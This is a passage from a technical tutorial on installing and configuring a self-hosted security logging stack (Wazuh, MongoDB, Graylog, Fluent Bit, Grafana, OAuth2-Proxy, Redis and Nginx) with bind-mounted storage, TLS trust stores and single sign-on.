"/data/wazuh-indexer/lib /var/lib/wazuh-indexer none defaults,bind,nofail 0 0" &gt;&gt; /etc/fstab<br>echo "/log/wazuh-indexer /var/log/wazuh-indexer none defaults,bind,nofail 0 0" &gt;&gt; /etc/fstab<br>systemctl daemon-reload<br>mount -a</pre><p><strong>Compatibility adjustment for Graylog</strong></p><p>Wazuh Indexer uses OpenSearch with an option that, by default, forces another version for Filebeat compatibility.</p><pre># /etc/wazuh-indexer/opensearch.yml - Comment out<br><br>#compatibility.override_main_response_version: true</pre><blockquote><strong><em>About the Dashboard warning:</em></strong> When connecting Graylog, the Wazuh Dashboard may display a warning about <em>wazuh-alerts-*</em> index patterns. This is a cosmetic warning that does not affect functionality — it can be safely ignored.</blockquote><blockquote><strong><em>Expected scenario:</em></strong> Filebeat cannot send data to the indexer, and alerts will not appear in the Wazuh dashboard.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/676/1*dpEcqSAQaH46kFkbqa7VoQ.jpeg"><figcaption>warning</figcaption></figure><h3>Adjusting the Dashboard for Nginx</h3><p>The Wazuh Dashboard will listen on 127.0.0.1:8080 instead of the default port, since Nginx will act as a reverse proxy with TLS on port 443.</p><pre># /etc/wazuh-dashboard/opensearch_dashboards.yml<br><br>server.host: 127.0.0.1<br>server.port: 8080</pre><p><strong>Credentials and backup<br></strong>After installation, Wazuh generates a wazuh-install-files.tar file containing certificates, the root CA, and passwords. It's critical to extract and back it up immediately.</p><pre>tar -xvf wazuh-install-files.tar</pre><p>The wazuh-passwords.txt file inside contains all automatically generated passwords. Protecting it is mandatory.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*469jrtAPhs6EMetM.png"></figure><h3>MongoDB: Graylog’s DB</h3><p><strong><em>Part 3</em></strong></p><p>MongoDB is the database Graylog uses to store its internal configuration: streams, alerts, dashboards, users, and metadata. It does not store the logs themselves — that’s handled by OpenSearch/ElasticSearch — but it’s an essential component for Graylog to function.</p><p><strong>An important warning before installing</strong></p><p>MongoDB version 8.0 has <strong>kernel incompatibilities with Ubuntu 26.04</strong>. The stable, tested version for this implementation is <strong>7.0</strong>. This is one of those cases where the latest version is not the best choice.</p><h3>Installation</h3><p>Add the official MongoDB 7.0 repository and install.</p><pre>curl -fsSL https://pgp.mongodb.com/server-7.0.asc | gpg -o /usr/share/keyrings/mongodb-server-7.0.gpg --dearmor<br>echo "deb [signed-by=/usr/share/keyrings/mongodb-server-7.0.gpg] https://repo.mongodb.org/apt/ubuntu jammy/mongodb-org/7.0 multiverse" | tee /etc/apt/sources.list.d/mongodb-org-7.0.list<br>apt update<br>apt install mongodb-org -y</pre><h3>Configuration</h3><p>We apply the same pattern as with Wazuh: move data to the /data volume and logs to the /log volume, using bind mounts to keep the original paths intact.</p><pre># Create directory structure<br><br>mkdir -p /data/mongodb/lib /log/mongodb</pre><pre># Assign permissions to the service user<br><br>chown mongodb:mongodb /data/mongodb/lib /log/mongodb</pre><pre># Bind mount<br><br>echo "/data/mongodb/lib /var/lib/mongodb none defaults,bind,nofail 0 0" &gt;&gt; /etc/fstab<br>echo "/log/mongodb /var/log/mongodb none defaults,bind,nofail 0 0" &gt;&gt; /etc/fstab<br>systemctl daemon-reload<br>mount -a</pre><p><strong>Why does this pattern repeat?</strong></p><p>We apply the same storage strategy to every component in the stack. The reason is simple: in a production environment, data must survive an OS reinstallation. If the OS lives on / (60 GB) and data on /data (150 GB), I can reinstall Ubuntu without losing any application data.</p><p>The /log volume (20 GB) is independent because logs have a different lifecycle — they rotate, compress, and get deleted — and we don't want their growth to affect either the OS or application data.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*MbvwpOS6jWqHHZiX.png"></figure><h3>Graylog: Centralized Log Management with TLS Integration to Wazuh Indexer</h3><p><strong><em>Part 4</em></strong></p><p>Graylog is the heart of log management in this platform. It receives security events from Fluent Bit, indexes them in OpenSearch (through Wazuh Indexer), enables real-time searches, and exposes an API that we later connect to Claude via MCP.</p><h3>Installation</h3><p>Graylog requires Java as a dependency. We install Java 17 and then the Graylog 7.1 server.</p><pre>apt install openjdk-17-jre-headless -y<br>wget https://packages.graylog2.org/repo/packages/graylog-7.1-repository_latest.deb<br>dpkg -i graylog-7.1-repository_latest.deb<br>apt-get update<br>apt install graylog-server -y</pre><h3>Configuration</h3><pre># Create directory structure<br><br>mkdir -p /data/graylog/lib/journal /data/graylog/jks /var/lib/graylog-server/journal /log/graylog</pre><pre># Assign permissions to the service user<br><br>chown -R graylog:graylog /data/graylog/lib /var/lib/graylog-server/journal /log/graylog</pre><pre># Bind mount<br><br>echo "/data/graylog/lib/journal /var/lib/graylog-server/journal none defaults,bind,nofail 0 0" &gt;&gt; /etc/fstab<br>echo "/log/graylog /var/log/graylog-server none defaults,bind,nofail 0 0" &gt;&gt; /etc/fstab<br>systemctl daemon-reload<br>mount -a</pre><p><strong>Credential configuration</strong></p><p>Graylog requires two key values in its main configuration file.</p><pre># password_secret - internal encryption key (64 characters)<br><br>cat /dev/urandom | tr -dc "a-zA-Z0-9" | fold -w 64 | head -n 1</pre><pre># root_password_sha2 - SHA256 hash of the administrator password<br><br>echo -n '&lt;password&gt;' | shasum -a 256 | cut -d' ' -f1</pre><pre># /etc/graylog/server/server.conf<br><br>password_secret = &lt;password_secret&gt;<br>root_password_sha2 = &lt;root_password&gt;</pre><p><strong>Integration with Wazuh Indexer<br></strong>This is one of the most important steps and the one most frequently omitted in generic guides. Graylog needs to connect to Wazuh Indexer (OpenSearch) over HTTPS, which requires it to trust Wazuh’s CA certificate.</p><p>The solution is to incorporate Wazuh’s CA into a <strong>Java Key Store (JKS)</strong> that Graylog can use.</p><pre># Copy the base Java keystore<br><br>cp /usr/share/graylog-server/jvm/lib/security/cacerts /data/graylog/jks/graylog.jks<br>cd /data/graylog/jks<br><br># Import the Wazuh CA certificate<br># When keytool asks "Trust this certificate? [no]:", answer: y<br># Set a custom or random password<br><br>keytool -importcert -keystore graylog.jks -storepass &lt;password&gt; -alias wazuh-ca -file /etc/wazuh-indexer/certs/root-ca.pem</pre><p>Then configure Graylog to use this keystore at startup.</p><pre># /etc/default/graylog-server - Enter the password defined in the previous step<br><br>GRAYLOG_SERVER_JAVA_OPTS="-Djavax.net.ssl.trustStore=/data/graylog/jks/graylog.jks -Djavax.net.ssl.trustStorePassword=&lt;password&gt;"</pre><pre># Assign permissions to the service user<br><br>chown -R graylog:graylog /data/graylog/jks</pre><p><strong>Why not just disable TLS verification?</strong></p><p>It’s a common temptation to use ssl_verify=false to skip this entire process. The problem is that in production this eliminates a real security layer: any server could present itself as Wazuh Indexer and Graylog would accept it without question. The JKS procedure takes ten extra minutes and guarantees secure communication between components.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*YX5kBfyd9o1QNtX5.png"></figure><h3>Fluent Bit: The Bridge Between Wazuh and Graylog</h3><p><strong><em>Part 5</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*whGladAjwDiDE2Ic5UvWlA.jpeg"></figure><p>Fluent Bit is the component that connects Wazuh with Graylog. Its function is simple but critical: read the JSON alerts file that Wazuh generates in real time and forward each event to Graylog over TCP. It’s lightweight, efficient, and consumes minimal resources even under high event load.</p><p><strong>Why Fluent Bit instead of Filebeat?</strong></p><p>Wazuh installs Filebeat by default to export data to ElasticSearch. Filebeat can be configured to send to Graylog (at the same time, Graylog’s data source is Wazuh), but Fluent Bit is significantly lighter, has better support for complex pipelines, and consumes less memory.</p><p>The decision is clear: we disable Filebeat (covered in the Wazuh article) and install Fluent Bit.</p><h3>Installation</h3><p>Ubuntu 26.04 (Resolute Raccoon) doesn’t yet have official Fluent Bit packages. The solution is to use the <strong>Noble</strong> (Ubuntu 24.04) packages, which are compatible.</p><pre>sh -c 'curl https://packages.fluentbit.io/fluentbit.key | gpg --dearmor &gt; /usr/share/keyrings/fluentbit-keyring.gpg'<br>echo "deb [signed-by=/usr/share/keyrings/fluentbit-keyring.gpg] https://packages.fluentbit.io/ubuntu/noble noble main" | tee /etc/apt/sources.list.d/fluent-bit.list<br>apt update<br>apt install fluent-bit -y</pre><h3>Configuration</h3><pre># Create directory structure<br><br>mkdir -p /log/fluent-bit /var/log/fluent-bit</pre><pre># Bind mount<br><br>echo "/log/fluent-bit /var/log/fluent-bit none defaults,bind,nofail 0 0" &gt;&gt; /etc/fstab<br>systemctl daemon-reload<br>mount -a</pre><p><strong>The main configuration file</strong></p><p>This is the core of Fluent Bit. It defines three sections: the global service, the data input (INPUT), and the output (OUTPUT).</p><blockquote><strong><em>Pay attention when copying:</em></strong><em> </em>The Fluent Bit configuration file is sensitive to indentation. Incorrect indentation will prevent the service from starting<em>.</em></blockquote><pre># /etc/fluent-bit/fluent-bit.conf<br><br>[SERVICE]<br>  flush 5<br>  daemon Off<br>  log_level info<br>  log_file /log/fluent-bit/td-agent-bit.log<br>  parsers_file parsers.conf<br>  plugins_file plugins.conf<br>  http_server Off<br>  storage.metrics on<br>  storage.path /tmp/storage<br>  storage.sync normal<br>  storage.checksum off<br>  storage.backlog.mem_limit 5M<br>[INPUT]<br>  name tail<br>  path /var/ossec/logs/alerts/alerts.json<br>  tag wazuh<br>  parser json<br>  Buffer_Max_Size 5MB<br>  Buffer_Chunk_Size 400k<br>  storage.type filesystem<br>  Mem_Buf_Limit 512MB<br>[OUTPUT]<br>  Name tcp<br>  Host localhost<br>  Port 5555<br>  net.keepalive off<br>  Match wazuh<br>  Format json_lines<br>  json_date_key true</pre><p><strong>How the pipeline works</strong></p><ol><li><strong>INPUT </strong><strong>tail</strong> — Reads the /var/ossec/logs/alerts/alerts.json file continuously, similar to tail -f. Every time Wazuh writes a new alert, Fluent Bit detects it.</li><li><strong>Tag </strong><strong>wazuh</strong> — Labels each event so the OUTPUT knows what to process.</li><li><strong>OUTPUT </strong><strong>tcp</strong> — Sends each event to port 5555 on localhost in JSON format, where Graylog will listen with a Raw HTTP input.</li></ol><p>The on-disk buffer storage.type filesystem ensures no events are lost if Graylog is momentarily unreachable. Events accumulate and are resent once the connection is re-established.</p><blockquote><em>Optional: </em>REST API — Monitor Fluent Bit data pipelines.<br><em>https://docs.fluentbit.io/manual/administration/monitoring</em></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*cbEm4ozA1npayvjy.png"></figure><h3>Grafana: Real-Time Operational Dashboards</h3><p><strong><em>Part 6</em></strong></p><p>Grafana is the visualization layer of the platform. It connects to Wazuh as a datasource and allows building operational dashboards that show in real time the state of the infrastructure: Wazuh alerts, log volume, access patterns, and any metric Graylog or Wazuh can provide.</p><p>In terms of base installation and configuration, Grafana is the simplest component in the stack. The complexity comes later when we integrate SSO authentication.</p><h3>Installation</h3><pre>wget -O /etc/apt/keyrings/grafana.asc https://apt.grafana.com/gpg-full.key<br>echo "deb [signed-by=/etc/apt/keyrings/grafana.asc] https://apt.grafana.com stable main" | tee -a /etc/apt/sources.list.d/grafana.list<br>apt update<br>apt install grafana -y</pre><h3>Configuration</h3><pre># Create directory structure<br><br>mkdir -p /data/grafana/lib /log/grafana</pre><pre># Assign permissions to the service user<br><br>chown grafana:grafana /data/grafana/lib /log/grafana</pre><pre># Bind mount<br><br>echo "/data/grafana/lib /var/lib/grafana none defaults,bind,nofail 0 0" &gt;&gt; /etc/fstab<br>echo "/log/grafana /var/log/grafana none defaults,bind,nofail 0 0" &gt;&gt; /etc/fstab<br>systemctl daemon-reload<br>mount -a</pre><p>The specific security dashboards — visualizing Wazuh alerts, Graylog logs, and service metrics — depend on the datasources we’ll configure once the entire platform is operational.</p><p><strong>A note on the visualization architecture:</strong></p><p>In many similar implementations, Wazuh already includes its own dashboard based on OpenSearch Dashboards (Kibana). So why add Grafana?</p><p>The reason is <strong>datasource flexibility</strong>. The Wazuh Dashboard can only visualize data from Wazuh Indexer. Grafana can simultaneously connect to Wazuh, Prometheus, InfluxDB, SQL databases, and dozens of other sources. A single dashboard can show Wazuh alerts alongside infrastructure metrics, application logs, and any other data source — all in real time, with its own alerting system.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*MNHDU6UurKLbz20v.png"></figure><h3>OAuth2-Proxy: Single Sign-On with IdP</h3><p><strong><em>Part 7</em></strong></p><p>OAuth2-Proxy is the component that eliminates the need to manage users and passwords in Wazuh, Graylog, and Grafana separately. Instead, it delegates all authentication to IdP. The user logs in once with their corporate account and accesses all three systems without entering credentials again.</p><p>This article covers the installation of OAuth2-Proxy and its base configuration. The integration with each application is completed in the <a href="https://infosecwriteups.com/open-source-security-platform-for-it-infrastructure-centralizing-threat-detection-logs-and-sso-c08d1b412f37#938b">Authentication article</a>.</p><p><strong>How the flow works:</strong></p><p>When a user accesses <a href="https://wazuh.domain.com/">https://site.domain.com</a></p><ol><li>Nginx receives the request and asks OAuth2-Proxy if the user is authenticated auth_request /oauth2/auth</li><li>If there’s no active session, OAuth2-Proxy redirects the user to IdP portal.</li><li>The user authenticates with their corporate account.</li><li>IdP returns an ID Token to OAuth2-Proxy.</li><li>OAuth2-Proxy validates the token and creates a session stored in Redis.</li><li>Nginx propagates the user’s identity in an HTTP header.</li><li>Each application receives the header and assigns permissions accordingly.</li></ol><blockquote><strong><em>OAuth2 Proxy uses several layers to confirm a token’s validity</em></strong></blockquote><blockquote><em>Signature Verification:</em> The proxy checks that the token’s cryptographic signature was created by the trusted Identity Provider. It typically retrieves public keys automatically from the IdP JWKS (JSON Web Key Set) endpoint, which is discovered via the OpenID Connect well-known configuration URL.</blockquote><blockquote><em>Claim Validation</em>: Once the signature is verified, it inspects specific fields (claims) within the token:</blockquote><blockquote><em>iss (Issuer): </em>Must match the configured provider URL.</blockquote><blockquote><em>aud (Audience)</em>: Must contain the <em>client_id</em> of the OAuth2 Proxy instance to ensure the token was intended for this specific application.</blockquote><blockquote><em>exp (Expiration)</em>: Ensures the token has not expired.</blockquote><p>The result: a single sign-on for the entire platform, with persistent sessions stored in Redis.</p><h3>Installation</h3><pre>wget https://github.com/oauth2-proxy/oauth2-proxy/releases/download/v7.15.2/oauth2-proxy-v7.15.2.linux-amd64.tar.gz<br>tar -xzvf oauth2-proxy-v7.15.2.linux-amd64.tar.gz<br>chown root:root oauth2-proxy-v7.15.2.linux-amd64/oauth2-proxy<br>mv oauth2-proxy-v7.15.2.linux-amd64/oauth2-proxy /usr/sbin/</pre><h3>Configuration</h3><pre># Create directory structure<br><br>mkdir -p /etc/oauth2-proxy /log/oauth2-proxy</pre><pre># Create service user<br><br>useradd -d /dev/null oauth2-proxy -s /usr/sbin/nologin</pre><pre># Create files<br><br>touch /etc/systemd/system/oauth2-proxy.service<br>touch /etc/oauth2-proxy/service.cfg</pre><pre># Assign permissions to the service user<br><br>chown oauth2-proxy:oauth2-proxy /log/oauth2-proxy</pre><pre># Generate the cookie secret (32 random characters)<br><br>cat /dev/urandom | tr -dc "a-zA-Z0-9" | fold -w 32 | head -n 1</pre><p><strong>Configuration file:</strong></p><blockquote>Case with IdP Microsoft Entra ID.</blockquote><blockquote>Enable debugs on errors.</blockquote><pre># /etc/oauth2-proxy/service.cfg<br><br>client_id = "&lt;app_id&gt;"<br>client_secret = "&lt;app_secret&gt;"<br>oidc_issuer_url = "https://login.microsoftonline.com/&lt;tenant_id&gt;/v2.0"<br>cookie_secret = "&lt;cookie_secret&gt;"<br>cookie_domains = "&lt;domain.com&gt;"<br>email_domains = "&lt;domain.com&gt;"<br>whitelist_domains = "*.&lt;domain.com&gt;"<br>cookie_expire = "24h"<br>cookie_httponly = true<br>cookie_refresh = "50m"<br>cookie_secure = true<br>logging_filename = "/log/oauth2-proxy/oauth2.log"<br>logging_max_size = 100<br>logging_max_age = 5<br>provider = "oidc"<br>provider_display_name = "OIDC"<br>redis_connection_url = "redis://127.0.0.1:6379"<br>scope = "openid offline_access"<br>session_store_type = "redis"<br>set_xauthrequest = true<br>silence_ping_logging = true<br>skip_provider_button = true<br>upstreams = [ "file:///dev/null" ]<br>#show_debug_on_error = true</pre><blockquote>More details: <a href="https://oauth2-proxy.github.io/oauth2-proxy/configuration/overview"><em>https://oauth2-proxy.github.io/oauth2-proxy/configuration/overview</em></a></blockquote><p><strong>Registering in Microsoft Entra ID</strong></p><blockquote><em>⚠</em><strong><em> Important</em></strong><em>: </em>The Authorization Code Flow is the primary method to authenticate users, an industry-standard. Both tokens — Access and ID — are not enabled for implicit or hybrid flows.</blockquote><blockquote>The variety of flows often leads to confusion. With Auth Code Flow and <em>openid</em> scope, we will always obtain an Identification Token👍</blockquote><p>For OAuth2-Proxy to work, you need to register an application in the Azure portal:</p><ol><li><strong>Azure Portal</strong> → Entra ID → App registrations → New registration</li><li>Application name, account type, and redirect URI: <a href="https://domain.com/oauth2/callback">https://system.&lt;domain.com&gt;/oauth2/callback</a></li><li>Obtain the <strong>Application Client ID</strong> and <strong>Tenant ID</strong>.</li><li>Create a <strong>Client Secret</strong> under “Certificates &amp; Secrets”</li><li>In “API permissions”, add openid and offline_access</li></ol><p>These values are used in client_id, client_secret, and oidc_issuer_url in the configuration file.</p><p><strong>Create service</strong></p><pre># /etc/systemd/system/oauth2-proxy.service<br><br>[Unit]<br>Description=OAuth2 Proxy Daemon<br>After=network.target<br>[Service]<br>User=oauth2-proxy<br>Group=oauth2-proxy<br>Type=simple<br>ExecStart=/usr/sbin/oauth2-proxy --config=/etc/oauth2-proxy/service.cfg<br>Restart=always<br>RestartSec=10<br>ProtectSystem=full<br>NoNewPrivileges=true<br>[Install]<br>WantedBy=multi-user.target</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*XMImQw4ixJ6WN3lV.png"></figure><h3>Redis: Session Persistence and Storage</h3><p><strong><em>Part 8</em></strong></p><p>Redis solves a real problem: OAuth2-Proxy session cookies can grow large (cookie bloat) and exceed size limits. Storing sessions in Redis instead of in the cookie keeps the size controlled and allows sessions to survive proxy restarts.</p><h3>Installation</h3><pre>apt install redis-server -y</pre><h3>Configuration</h3><pre># Create directory structure<br><br>mkdir -p /data/redis/lib /log/redis</pre><pre># Assign permissions to the service user<br><br>chown redis:redis /data/redis/lib /log/redis</pre><pre># Bind mount<br><br>echo "/data/redis/lib /var/lib/redis none defaults,bind,nofail 0 0" &gt;&gt; /etc/fstab<br>echo "/log/redis /var/log/redis none defaults,bind,nofail 0 0" &gt;&gt; /etc/fstab<br>systemctl daemon-reload<br>mount -a</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*469jrtAPhs6EMetM.png"></figure><h3>Nginx: Reverse Proxy with TLS and Header-Based Authentication</h3><p><strong><em>Part 9</em></strong></p><p>Nginx is the entry point to the entire platform. It acts as a reverse proxy with TLS, routes traffic to Wazuh, Graylog, MCP, and Grafana, and coordinates with OAuth2-Proxy (except with MCP) to validate user identity on every request.</p><h3>Installation</h3><pre>apt install nginx -y</pre><h3>Configuration</h3><pre># Create directory structure<br><br>mkdir -p /log/nginx /etc/nginx/TLS</pre><pre># Create files<br><br>touch /etc/nginx/sites-available/{wazuh,graylog,graylog-mcp,grafana}<br>touch /etc/nginx/snippets/{security-headers.conf,oauth2-proxy.conf}<br>touch /etc/nginx/TLS/{certificate.crt,private.key}</pre><pre># Delete default host<br><br>rm /etc/nginx/sites-enabled/default</pre><pre># Bind mount<br><br>echo "/log/nginx /var/log/nginx none defaults,bind,nofail 0 0" &gt;&gt; /etc/fstab<br>systemctl daemon-reload<br>mount -a</pre><p><strong>Main configuration: nginx.conf</strong></p><p>The <strong>most notable </strong>aspect of this configuration is the map block: it extracts the username from the email returned by OIDC, taking everything before the @. This allows receive the username instead of the full email address.</p><blockquote>To avoid excessive logging, the access log is set to off.</blockquote><pre># /etc/nginx/nginx.conf<br><br>user www-data;<br>worker_processes auto;<br>worker_cpu_affinity auto;<br>pid /run/nginx.pid;<br>include /etc/nginx/modules-enabled/*.conf;<br>                                     <br>events {<br><br>  worker_connections 1024;<br><br>}<br><br>http {<br><br>  map $upstream_http_x_auth_request_email $http_x_auth_user {<br>    "~^(?&lt;user&gt;[^@]+)@" $user;<br>  }<br><br>  include mime.types;<br>  default_type application/octet-stream;<br>  sendfile on;<br>  tcp_nopush on;<br>  tcp_nodelay on;<br>  keepalive_timeout 65;<br>  keepalive_requests 1000;<br>  types_hash_max_size 2048;<br>  server_tokens off;<br>  gzip on;<br>  gzip_vary on;<br>  gzip_min_length 256;<br>  gzip_proxied any;<br>  gzip_comp_level 6;<br>  gzip_buffers 16 8k;<br>  gzip_http_version 1.1;<br>  gzip_types text/plain text/css application/json application/javascript text/xml application/xml application/xml+rss text/javascript;<br>  ssl_protocols TLSv1.2 TLSv1.3;<br>  ssl_prefer_server_ciphers on;<br>  ssl_ciphers 'EECDH+AESGCM:EDH+AESGCM:AES256+EECDH:AES256+EDH:!aNULL:!MD5:!3DES:!CBC:!SHA1';<br>  ssl_session_cache shared:SSL:10m;<br>  ssl_session_timeout 15m;<br>  access_log /var/log/nginx/access.log combined buffer=512k flush=1m;<br>  error_log /var/log/nginx/error.log;<br>  include /etc/nginx/conf.d/*.conf;<br>  include /etc/nginx/sites-enabled/*;<br><br>}</pre><p><strong>Security Headers snippet</strong></p><p>Best practices that strengthen your website’s security against common attacks.</p><pre># /etc/nginx/snippets/security-headers.conf<br><br>add_header Strict-Transport-Security "max-age=31536000; includeSubDomains";<br>add_header X-Frame-Options "SAMEORIGIN";<br>add_header X-XSS-Protection "1; mode=block";<br>add_header X-Content-Type-Options nosniff;<br>add_header X-Download-Options "noopen";<br>add_header Permissions-Policy 'geolocation=(), microphone=(), camera=()';<br>add_header Referrer-Policy 'no-referrer';<br>add_header Content-Security-Policy 'upgrade-insecure-requests';</pre><p><strong>OAuth2-Proxy snippet</strong></p><p>This snippet is included in every virtual host that requires authentication. It defines two locations: one for the OAuth2 flow and one internal for validating sessions.</p><pre># /etc/nginx/snippets/oauth2-proxy.conf<br><br>location /oauth2/ {<br>  proxy_pass http://localhost:4180;<br>  proxy_set_header Host $host;<br>  proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;<br>  proxy_set_header Content-Length "";<br>  proxy_pass_request_body off;<br>  access_log off;<br>}<br><br>location = /oauth2/auth {<br>  internal;<br>  proxy_pass http://localhost:4180;<br>  proxy_set_header Host $host;<br>  proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;<br>  proxy_set_header Content-Length "";<br>  proxy_pass_request_body off;<br>}</pre><blockquote>The <em>Content-Length: ""</em> headers and <em>proxy_pass_request_body off</em> are critical. Without them, authentication requests to internal APIs fail. This configuration has been validated in production.</blockquote><p><strong>Virtual hosts: one per application</strong></p><p>Each application has its own configuration file. The pattern is consistent:</p><ul><li>Redirect HTTP to HTTPS (301).</li><li>TLS with Wildcard certificate.</li><li>Include security headers and OAuth2-Proxy snippet.</li><li>Proxy pass to each application’s local port.</li></ul><p><strong>Wazuh Host</strong></p><blockquote><em>⚠</em><strong><em> </em></strong>Firstly, proxy authentication in Wazuh does not require creating internal users.</blockquote><blockquote><em>⚠ </em>This configuration is intended for administration; therefore, it has the <em>"admin"</em> backend role hardcoded.</blockquote><blockquote><em>proxy_set_header x-proxy-roles "admin"</em></blockquote><blockquote>You can associate Security Groups or Nginx mappings with custom backend roles. See the <strong><em>Custom Backend Role</em>s </strong>references later in the authentication section.</blockquote><pre># /etc/nginx/sites-available/wazuh<br><br>server {<br>  listen 80;<br>  server_name wazuh.&lt;domain.com&gt;;<br>  access_log off;<br>  log_not_found off;<br>  return 301 https://wazuh.&lt;domain.com&gt;$request_uri;<br>}<br><br>server {<br>  listen 443 ssl;<br>  server_name wazuh.&lt;domain.com&gt;;<br>  ssl_certificate /etc/nginx/TLS/certificate.crt;<br>  ssl_certificate_key /etc/nginx/TLS/private.key;<br>  include /etc/nginx/snippets/security-headers.conf;<br>  include /etc/nginx/snippets/oauth2-proxy.conf;<br>  location / {<br>   #auth_request /oauth2/auth;<br>   error_page 401 = /oauth2/start;<br>   auth_request_set $user $http_x_auth_user;<br>   proxy_set_header x-proxy-user $user;<br>   proxy_set_header x-proxy-roles "admin";<br>   proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;<br>   proxy_set_header X-Real-IP $remote_addr;<br>   proxy_http_version 1.1;<br>   proxy_read_timeout 10s;<br>   proxy_set_header Upgrade $http_upgrade;<br>   proxy_set_header Connection 'upgrade';<br>   proxy_set_header Host $host;<br>   proxy_cache_bypass $http_upgrade;<br>   proxy_set_header X-Forwarded-Proto $scheme;<br>   proxy_pass https://localhost:8080;<br>   access_log off;<br>   log_not_found off;<br>  }<br>}</pre><p><strong>Graylog Host</strong></p><pre># /etc/nginx/sites-available/graylog<br><br>server {<br>  listen 80;<br>  server_name graylog.&lt;domain.com&gt;;<br>  access_log off;<br>  log_not_found off;<br>  return 301 https://graylog.&lt;domain.com&gt;$request_uri;<br>}<br><br>server {<br>  listen 443 ssl;<br>  server_name graylog.&lt;domain.com&gt;;<br>  ssl_certificate /etc/nginx/TLS/certificate.crt;<br>  ssl_certificate_key /etc/nginx/TLS/private.key;<br>  include /etc/nginx/snippets/security-headers.conf;<br>  include /etc/nginx/snippets/oauth2-proxy.conf;<br>  location / {<br>   #auth_request /oauth2/auth;<br>   error_page 401 = /oauth2/start;<br>   auth_request_set $user $http_x_auth_user;<br>   proxy_set_header x-proxy-user $user;<br>   proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;<br>   proxy_set_header X-Real-IP $remote_addr;<br>   proxy_http_version 1.1;<br>   proxy_read_timeout 10s;<br>   proxy_set_header Upgrade $http_upgrade;<br>   proxy_set_header Connection 'upgrade';<br>   proxy_set_header Host $host;<br>   proxy_cache_bypass $http_upgrade;<br>   proxy_set_header X-Forwarded-Proto $scheme;<br>   proxy_pass http://localhost:9000;<br>   proxy_set_header X-Graylog-Server-URL https://$server_name;<br>   access_log off;<br>   log_not_found off;<br>  }<br>}</pre><p><strong>Graylog MCP Host</strong></p><pre># /etc/nginx/sites-available/graylog-mcp<br><br>server {<br>  listen 443 ssl;<br>  server_name graylog-mcp.&lt;domain.com&gt;;<br>  ssl_certificate /etc/nginx/TLS/certificate.crt;<br>  ssl_certificate_key /etc/nginx/TLS/private.key;<br>  include /etc/nginx/snippets/security-headers.conf;<br>  location  / {<br>   proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;<br>   proxy_set_header X-Real-IP $remote_addr;<br>   proxy_http_version 1.1;<br>   proxy_read_timeout 10s;<br>   proxy_set_header Upgrade $http_upgrade;<br>   proxy_set_header Connection 'upgrade';<br>   proxy_set_header Host $host;<br>   proxy_cache_bypass $http_upgrade;<br>   proxy_set_header X-Forwarded-Proto $scheme;<br>   proxy_pass http://localhost:9000/api/;<br>   access_log off;<br>   log_not_found off;<br>  }<br>}</pre><p><strong>Grafana Host</strong></p><pre># /etc/nginx/sites-available/grafana<br><br>server {<br>  listen 80;<br>  server_name grafana.&lt;domain.com&gt;;<br>  access_log off;<br>  log_not_found off;<br>  return 301 https://grafana.&lt;domain.com&gt;$request_uri;<br> }<br><br>server {<br>  listen 443 ssl;<br>  server_name grafana.&lt;domain.com&gt;;<br>  ssl_certificate         /etc/nginx/TLS/certificate.crt;<br>  ssl_certificate_key     /etc/nginx/TLS/private.key;<br>  include /etc/nginx/snippets/security-headers.conf;<br>  include /etc/nginx/snippets/oauth2-proxy.conf;<br>  location  / {<br>   #auth_request /oauth2/auth;<br>   error_page 401 = /oauth2/start;<br>   auth_request_set $user $http_x_auth_user;<br>   proxy_set_header x-proxy-user $user;<br>   proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;<br>   proxy_set_header X-Real-IP $remote_addr;<br>   proxy_http_version 1.1;<br>   proxy_read_timeout 10s;<br>   proxy_set_header Upgrade $http_upgrade;<br>   proxy_set_header Connection 'upgrade';<br>   proxy_set_header Host $host;<br>   proxy_cache_bypass $http_upgrade;<br>   proxy_set_header X-Forwarded-Proto $scheme;<br>   proxy_pass http://localhost:3000;<br>   access_log off;<br>   log_not_found off;<br>  }<br>}</pre><p>The auth_request is intentionally commented during initial configuration — it's enabled in the Authentication article, once all roles and users are configured in each application.</p><p><strong>graylog-mcp</strong>: a special virtual host without OAuth2 so Claude can access the Graylog MCP Bridge directly with Basic authentication. Covered in the Graylog MCP article.</p><pre># Create links<br><br>cd /etc/nginx/sites-enabled<br>ln -s ../sites-available/wazuh<br>ln -s ../sites-available/graylog<br>ln -s ../sites-available/graylog-mcp<br>ln -s ../sites-available/grafana</pre><p><strong>Configure certificates</strong></p><p><strong>/etc/nginx/TLS/certificate.crt</strong> — Site and intermediate certificates.<br><strong>/etc/nginx/TLS/private.key</strong> — Private key.</p><p><strong>TLS and verification</strong></p><pre># Certificate with restrictive permissions<br><br>chmod 400 /etc/nginx/TLS/*</pre><pre># Verify configuration before starting<br><br>nginx -t</pre><p>Expected response:</p><pre>nginx: the configuration file /etc/nginx/nginx.conf syntax is ok<br>nginx: configuration file /etc/nginx/nginx.conf test is successful</pre><pre># Restart<br><br>systemctl restart nginx</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*BLX_WJBjJLfvTMg2.png"></figure><h3>Troubleshooting Guide</h3><h3>Log Paths and Common Issues in a Complex Security Stack</h3><p><strong><em>Part 10</em></strong></p><p>When something fails in a stack of this complexity — and something always does — knowing exactly where to look for information is the difference between resolving the problem in five minutes or an hour. This article documents the log paths for all components and the most common problems encountered during implementation.</p><p><strong>Real-time log monitoring</strong></p><p>To monitor any service in real time.</p><pre># Filtered error warn<br>journalctl -u &lt;service&gt; | grep -i -E "error|warn"<br><br># Limit the number of the last events shown<br>journalctl -u &lt;service&gt; -n &lt;number&gt;<br><br># Show only the most recent journal entries, and continuously print new entries<br>journalctl -fu &lt;service&gt;<br><br># Jump to the end and augment log lines with 